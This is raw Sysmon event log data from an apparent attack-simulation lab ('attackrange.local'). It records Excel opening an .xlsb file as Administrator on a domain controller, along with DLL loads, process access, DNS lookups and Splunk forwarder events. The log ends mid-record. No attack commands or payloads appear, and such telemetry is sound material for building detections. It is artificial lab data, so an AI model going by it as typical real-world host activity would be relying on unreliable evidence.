14:58:03.243{7BD73061-65B2-613B-1300-00000000F001}923748C:\Windows\System32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1440C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\pcasvc.dll+5bab|c:\windows\system32\pcasvc.dll+5b07|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048569Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.227{7BD73061-6D0B-613B-7F06-00000000F001}36605244C:\Windows\system32\csrss.exe{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000048568Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.227{7BD73061-6D0F-613B-9406-00000000F001}44801920C:\Windows\Explorer.EXE{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\System32\windows.storage.dll+89d2f|C:\Windows\System32\windows.storage.dll+899a5|C:\Windows\System32\windows.storage.dll+89496|C:\Windows\System32\windows.storage.dll+8a908|C:\Windows\System32\windows.storage.dll+892be|C:\Windows\System32\windows.storage.dll+8c0d5|C:\Windows\System32\windows.storage.dll+8c454|C:\Windows\System32\windows.storage.dll+8ba90|C:\Windows\System32\windows.storage.dll+8e30a|C:\Windows\System32\windows.storage.dll+8e0c2|C:\Windows\System32\SHELL32.dll+3f8fd|C:\Windows\System32\SHELL32.dll+3e496|C:\Windows\System32\SHELL32.dll+80201|C:\Windows\System32\SHELL32.dll+6719e|C:\Windows\System32\SHELL32.dll+18cfac|C:\Windows\System32\SHELL32.dll+18cd03|C:\Windows\System32\SHCORE.dll+33fad|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000048567Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.239{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE16.0.13801.20864Microsoft ExcelMicrosoft OfficeMicrosoft CorporationExcel.exe"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Temp\My documents for Chris.xlsb"C:\Temp\ATTACKRANGE\Administrator{7BD73061-6D0D-613B-08AC-390000000000}0x39ac082HighMD5=035621F1CA7B491EB26796F6323DCF7A,SHA256=DCE83CF039F210B20C91DD12EACE41A80A1A3631E33B0C6EE91B61302BF93E40,IMPHASH=FD6DC178160AB121F974486CF4900227{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\explorer.exeC:\Windows\Explorer.EXE /NOUACCHECK 23542300x800000000000000016313Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:04.901{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=ED7F4425875996EFCD4B009A0AF07585,SHA256=72581E6DE728EE702E4E8BFEBC8F138E2514FF129022390DE8688753058FADD4,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048875Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:02.992{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59486-false52.113.194.132-443https 10341000x800000000000000048874Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.868{7BD73061-65BF-613B-2C00-00000000F001}29722160C:\Windows\sysmon64.exe{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ntdll.dll+6cd0a|C:\Windows\System32\KERNEL32.DLL+1cff8|C:\Windows\System32\KERNEL32.DLL+25a87|C:\Windows\sysmon64.exe+14ced|C:\Windows\sysmon64.exe+15adb|C:\Windows\sysmon64.exe+16c29|C:\Windows\sysmon64.exe+1abb1|C:\Windows\sysmon64.exe+1cfc7|C:\Windows\sysmon64.exe+1d392|C:\Windows\sysmon64.exe+1d4a5|C:\Windows\sysmon64.exe+b0519|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048873Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.868{7BD73061-65BF-613B-2C00-00000000F001}29722160C:\Windows\sysmon64.exe{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\sysmon64.exe+2682c|C:\Windows\sysmon64.exe+1cc6d|C:\Windows\sysmon64.exe+1d392|C:\Windows\sysmon64.exe+1d4a5|C:\Windows\sysmon64.exe+b0519|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 354300x800000000000000048872Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:02.962{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local56651- 354300x800000000000000048871Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:02.962{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local52985- 23542300x800000000000000048870Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.805{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=597BF5025806E5946BB6E689324728E7,SHA256=526C8BD204E5E3E212B685C34996FC0DAF24EBD0DBD813D690FC91DAF46FE5D2,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000048869Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.743{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9529865FA944DB1F43AE3C98D92F1C33,SHA256=C94BEE9400601B82A3377D7BF5D1755DB1ED17529C1EFDCE116E7303E430011C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000016312Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:02.931{625C326B-67EA-613B-0100-00000000F101}4SystemNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50282-false10.0.1.14-445microsoft-ds 22542200x800000000000000048868Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.798{7BD73061-727B-613B-4A0B-00000000F001}6276win-dc-387.attackrange.local0fe80::54c:bd54:34e2:1fb5;::ffff:10.0.1.14;C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE 22542200x800000000000000048867Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.716{7BD73061-727B-613B-4A0B-00000000F001}6276support.content.office.net0type: 5 support.content.office.net.edgekey.net;type: 5 e584.g.akamaiedge.net;::ffff:2.18.232.50;C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE 23542300x800000000000000048866Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.665{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=E92D8689EBFAE23A7491A563FC392927,SHA256=0223E0D31AE739CDE1C980A692C44C230B8F6043EBDF70BA0500A2CD3D004CCB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 22542200x800000000000000048865Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.672{7BD73061-727B-613B-4A0B-00000000F001}6276ecs.office.com0type: 5 ecs.office.trafficmanager.net;type: 5 s-0005-office.config.skype.com;type: 5 ecs-office.s-0005.s-msedge.net;type: 5 s-0005.s-msedge.net;::ffff:52.113.194.132;C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE 354300x800000000000000048864Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:01.913{7BD73061-65AD-613B-0100-00000000F001}4SystemNT AUTHORITY\SYSTEMtcpfalsefalse10.0.1.15ip-10-0-1-15.eu-central-1.compute.internal50282-false10.0.1.14win-dc-387.attackrange.local445microsoft-ds 23542300x800000000000000048863Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.540{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=31A89AC28E8E5D4B75086F6A2E840F19,SHA256=DFE398F16A24DAF0044CA9514ECD9BADC27A5EAC0FBEE6D80F5E7A85FEC81C67,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000048862Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.461{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=1592753DF378D0E22A8632C1B74AC9F3,SHA256=44B5005FA49D0DAA0B5C824394B2EAB479A632DDD1FDB56ED61B98CADDC4B6D6,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000048861Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.461{7BD73061-727B-613B-4C0B-00000000F001}51846928C:\Windows\system32\sppsvc.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\KERNELBASE.dll+221bd|C:\Windows\system32\sppsvc.exe+8d719|C:\Windows\system32\sppsvc.exe+7eaa8|C:\Windows\system32\sppsvc.exe+748f0|C:\Windows\system32\sppsvc.exe+957de|C:\Windows\system32\sppsvc.exe+5454f|C:\Windows\system32\sppsvc.exe+a1cdb|C:\Windows\system32\sppsvc.exe+b414a|C:\Windows\system32\sppsvc.exe+b443f|C:\Windows\system32\RPCRT4.dll+7a593|C:\Windows\system32\RPCRT4.dll+d9f41|C:\Windows\system32\RPCRT4.dll+62d4c|C:\Windows\system32\RPCRT4.dll+4a274|C:\Windows\system32\RPCRT4.dll+4918d|C:\Windows\system32\RPCRT4.dll+49a3b|C:\Windows\system32\RPCRT4.dll+310ac|C:\Windows\system32\RPCRT4.dll+3152c|C:\Windows\system32\RPCRT4.dll+1ae1c|C:\Windows\system32\RPCRT4.dll+1c67b|C:\Windows\system32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\SYSTEM32\KERNEL32.DLL+84d4 10341000x800000000000000048860Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.461{7BD73061-727B-613B-4C0B-00000000F001}51846928C:\Windows\system32\sppsvc.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x100000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\KERNELBASE.dll+221bd|C:\Windows\system32\sppsvc.exe+8d719|C:\Windows\system32\sppsvc.exe+74a0a|C:\Windows\system32\sppsvc.exe+95791|C:\Windows\system32\sppsvc.exe+5454f|C:\Windows\system32\sppsvc.exe+a1cdb|C:\Windows\system32\sppsvc.exe+b414a|C:\Windows\system32\sppsvc.exe+b443f|C:\Windows\system32\RPCRT4.dll+7a593|C:\Windows\system32\RPCRT4.dll+d9f41|C:\Windows\system32\RPCRT4.dll+62d4c|C:\Windows\system32\RPCRT4.dll+4a274|C:\Windows\system32\RPCRT4.dll+4918d|C:\Windows\system32\RPCRT4.dll+49a3b|C:\Windows\system32\RPCRT4.dll+310ac|C:\Windows\system32\RPCRT4.dll+3152c|C:\Windows\system32\RPCRT4.dll+1ae1c|C:\Windows\system32\RPCRT4.dll+1c67b|C:\Windows\system32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\SYSTEM32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000048859Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.461{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2A60CE45E3FEB5CC9A66AB39DB147D92,SHA256=DC6AD95E57C77D46682209DF171A3B0EDDF1691972321204F2AA0F64B957CDCB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000048858Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.430{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=5204E4B7458F55128045B482BA5E38F3,SHA256=6F6A49F563EE479689A82ABC1394D2572BE57361F65C794B0FEC71891CE9F820,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000048857Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.430{7BD73061-727B-613B-4A0B-00000000F001}62764656C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE{7BD73061-6D0E-613B-8906-00000000F001}3192C:\Windows\System32\rdpclip.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+52cbf|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+52c5a|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+52bd6|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+5259d|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\System32\USER32.dll+2ea96|C:\Windows\System32\USER32.dll+2e813|C:\Windows\System32\USER32.dll+2e6b2|C:\Windows\System32\USER32.dll+2e648|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+58ae0c|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+9eeb91|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+9ecb63|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+9ec672|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+9ec94d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso30win32client.dll+2c5e3f|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+2235a1f|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+223535d|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+1ee30ef|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+1ee1ee9|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+2fd229|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+2ed739 23542300x800000000000000048856Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.415{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=859D5E4DC969104DE9FE5F2EF6C30635,SHA256=A98EF5AE6085490E91B926906F036735DBF2CFDD320A6F062455A27EF98CB9FC,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000048855Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.399{7BD73061-6D0F-613B-9406-00000000F001}4480172C:\Windows\Explorer.EXE{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62967|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048854Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.399{7BD73061-6D0F-613B-9406-00000000F001}44804920C:\Windows\Explorer.EXE{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62967|C:\Windows\Explorer.EXE+1e03a|C:\Windows\Explorer.EXE+1e249|C:\Windows\Explorer.EXE+1df79|C:\Windows\Explorer.EXE+3c407|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048853Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.399{7BD73061-6D0F-613B-9406-00000000F001}44804920C:\Windows\Explorer.EXE{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\Explorer.EXE+1f054|C:\Windows\Explorer.EXE+1f000|C:\Windows\Explorer.EXE+1dfec|C:\Windows\Explorer.EXE+1e249|C:\Windows\Explorer.EXE+1df79|C:\Windows\Explorer.EXE+3c407|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000048852Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.321{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\BCP47Langs.dll10.0.14393.2457 (rs1_release_inmarket.180822-1743)BCP47 Language ClassesMicrosoft® Windows® Operating SystemMicrosoft CorporationBCP47Lang.dllMD5=F688C2B9DD2EB56C3B0312B6380338AA,SHA256=B22DB210486D3B5F4EEB17900C5E7AA0EEFEDBB068A0C4858EFE9F8018C34628,IMPHASH=31EA1856BC7597303D8126028BBFDFB8trueMicrosoft WindowsValid 734700x800000000000000048851Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.306{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\msxml6.dll6.30.14393.4530MSXML 6.0Microsoft XML Core ServicesMicrosoft CorporationMSXML6.dllMD5=10A0259030F41545ECAFB6A595F7C457,SHA256=CF160C3ADCE5AA2357697A02C6FC38071CBE1818B036F1C67F746868EB7F814D,IMPHASH=A74F148CA887740D0E045C70ACC762EBtrueMicrosoft WindowsValid 734700x800000000000000048850Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.321{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\globinputhost.dll10.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows Globalization Extension API for InputMicrosoft® Windows® Operating SystemMicrosoft Corporationglobinputhost.dllMD5=B92070EB12AF4C292155EBB155A0B6C3,SHA256=F155CFD56DC7199F16377259C55C0E8A26662A81588264F01D0E1F1387721DDC,IMPHASH=AB0E9B104017117F7BE18F3C6AAC279AtrueMicrosoft WindowsValid 734700x800000000000000048849Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.321{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\Windows.Globalization.dll10.0.14393.4467 (rs1_release.210604-1844)Windows GlobalizationMicrosoft® Windows® Operating SystemMicrosoft CorporationWindows.Globalization.dllMD5=4D2537567A93ABF1D93CB7A7E76F954C,SHA256=5740181B56927C0DC66A6BCECA15EA2806A0ED471A01F785AD47C8C73A1DF85F,IMPHASH=0280A5811869EFED56B453A140477D51trueMicrosoft WindowsValid 734700x800000000000000048848Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.321{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\usp10.dll10.0.14393.3321 (rs1_release.191016-1811)Uniscribe Unicode script processorMicrosoft® Windows® Operating SystemMicrosoft CorporationUSP10.DLLMD5=ACF31D492FD578C0374EB20CC393BE98,SHA256=D49ECA60A94B30DB87CDCEB36F284D273E080E8689E4B0F99D5BD44FFD117A92,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000048847Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.306{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000048846Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.306{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000048845Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.258{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\dcomp.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft DirectComposition LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationdcomp.dllMD5=40873566DBFF13981CA1AE23AC281C5D,SHA256=E52C4619C837358454B969D31E2E14ACDEDABB384272D48C03E4F0AF9A2C2B6E,IMPHASH=9651C547656809410E78B358203C1A1DtrueMicrosoft WindowsValid 734700x800000000000000048844Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.258{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\msimg32.dll10.0.14393.0 (rs1_release.160715-1616)GDIEXT Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationgdiextMD5=78DA58DF85F86CA61E5EAFB9EF0A83BE,SHA256=3216205F5C355D582EC4B902651B62E1FF3EFFDCA40BC849D474F13F1325E962,IMPHASH=2E671B0A6A313B7E8765124B944DA4FEtrueMicrosoft WindowsValid 734700x800000000000000048843Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.258{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\System32\sppsvc.exeC:\Windows\System32\sppwinob.dll10.0.14393.4530 (rs1_release.210705-0736)Software Protection Platform Windows PluginMicrosoft® Windows® Operating SystemMicrosoft Corporationsppwinob.dllMD5=131DCFFFD0F2560BCD89F6ECBCC8A2D1,SHA256=5FB678235EC5BB4417B9D69AD7095A6C13AC1C008FA2647BE09205434E57AA4A,IMPHASH=DA60CA14E358877365B29F1770051601trueMicrosoft WindowsValid 734700x800000000000000048842Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.243{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\System32\sppsvc.exeC:\Windows\System32\sppwinob.dll10.0.14393.4530 (rs1_release.210705-0736)Software Protection Platform Windows PluginMicrosoft® Windows® Operating SystemMicrosoft Corporationsppwinob.dllMD5=131DCFFFD0F2560BCD89F6ECBCC8A2D1,SHA256=5FB678235EC5BB4417B9D69AD7095A6C13AC1C008FA2647BE09205434E57AA4A,IMPHASH=DA60CA14E358877365B29F1770051601trueMicrosoft WindowsValid 734700x800000000000000048841Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.243{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\WindowsCodecs.dll10.0.14393.4350 (rs1_release.210407-2154)Microsoft Windows Codecs LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationWindowsCodecsMD5=B791899A46FD151559658F4F86C3C6F5,SHA256=E559B36A3CC2261C16916F2D49FA351DC4E21E5EC581AC43547ABA16F70CDA7E,IMPHASH=945C5ACF3D7F6243AD6374B1152227D8trueMicrosoft WindowsValid 23542300x800000000000000048840Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:04.243{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program 